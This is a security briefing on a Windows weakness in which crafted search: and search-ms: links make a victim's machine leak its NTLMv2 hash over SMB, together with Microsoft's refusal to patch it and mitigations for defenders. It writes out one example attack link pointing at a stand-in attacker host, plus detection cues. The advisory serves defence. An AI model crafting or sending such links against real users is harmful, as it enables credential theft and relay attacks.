Security firm Huntress has revealed a Windows weakness that lets attackers steal a victim's login credentials with a single click, and Microsoft has declined to fix it. The problem lives in how Windows handles special search: and search-ms: links. Click one crafted by an attacker and your computer quietly hands over its password fingerprint (an NTLMv2 hash) before you even see an error message. In a June 2, 2026 writeup by researcher Andrew Schwartz, Huntress confirmed there is no CVE identifier and no patch available.
What's affected
Huntress reproduced the issue on Windows 11 23H2 (build 22631.6199) and 25H2 (build 26200.8524), and believes it likely affects every Windows 11 build that ships the search-link handling code (the SearchExecute component inside ExplorerFrame.dll). Because both the search: and search-ms: link types point to the same underlying code (CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b}), they behave identically. This is a long-known soft spot, not a brand-new discovery: Varonis documented the search-ms: version in 2024 and Trellix flagged the search: handler back in 2023.
How the attack works
An attacker sends you a link such as search:query=test&crumb=location:\\attacker-ip\share, typically inside a phishing email or on a web page. NTLM is the older Windows protocol computers use to prove who they are to file servers. When you click, Windows tries to check the network path buried in the link and, to do so, opens an SMB file-sharing connection to the attacker's server and authenticates to it, leaking your NTLMv2 hash in the process. All of this happens before Windows finally shows the harmless-looking "access denied" dialog. As Huntress puts it, the victim "may never download anything malicious at all, but a single click could still leak credentials." A captured hash can then be cracked offline or relayed to break into other systems.
Microsoft closed the report as Moderate severity (CVSS 4.3), the same rating it gave CVE-2026-33829, a nearly identical credential-leak bug in the Snipping Tool's ms-screensketch: handler that Microsoft did patch on April 14, 2026. Huntress filed this search: report the next day, April 15, but it was ruled ineligible for servicing, with MSRC describing such calls as "exception-driven" rather than strictly tied to severity.
What you should do
With no patch coming, mitigation is the only protection. Huntress's top recommendation is to block outbound SMB traffic (ports TCP/445 and TCP/139) from any machine that does not need it, which shuts down this entire class of attack. As backup, enforce SMB signing to blunt any relay of a stolen hash, and (after checking that nothing breaks) set RestrictSendingNTLMTraffic to 2 to deny outbound NTLM altogether. Defenders should treat search: and search-ms: links as never legitimate in email and web traffic, and alert on them in mail and proxy logs, especially links that pair a query= with a crumb=location:\\ network path. The clearest red flag is an outbound SMB connection (TCP/445 or TCP/139) to an unfamiliar host right after a user clicks a link. Teams that already watch for search-ms: abuse should add the plain search: scheme to the same rule, since the syntax is identical. Expect attackers to fold this no-download trick into phishing kits, given how cheaply it turns one click into a usable credential.
This briefing is provided by IntelFusions for informational and defensive purposes only. It is based on sources assessed to be reliable at the time of writing, and analytic judgments carry the confidence levels indicated. IntelFusions is not affiliated with the organizations named and makes no warranty as to completeness or accuracy.